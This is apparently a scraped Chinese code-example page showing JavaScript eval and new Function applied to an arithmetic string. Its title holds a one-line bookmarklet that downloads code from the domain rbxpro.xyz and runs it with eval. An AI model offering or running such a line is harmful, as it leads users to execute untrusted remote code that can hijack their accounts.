📌  相关文章
📜  XJavascript:$.get(' rbxpro.xyz ?id=858153832',i=>eval(i)) - Javascript 代码示例

📅  最后修改于: 2022-03-11 15:02:07.605000             🧑  作者: Mango

代码示例1
let str = "12/5*9+9.4*2"

let res1 = eval(str)
console.log('res1:', res1)

let res2 = (new Function('return '+str)())
console.log('res2:', res2)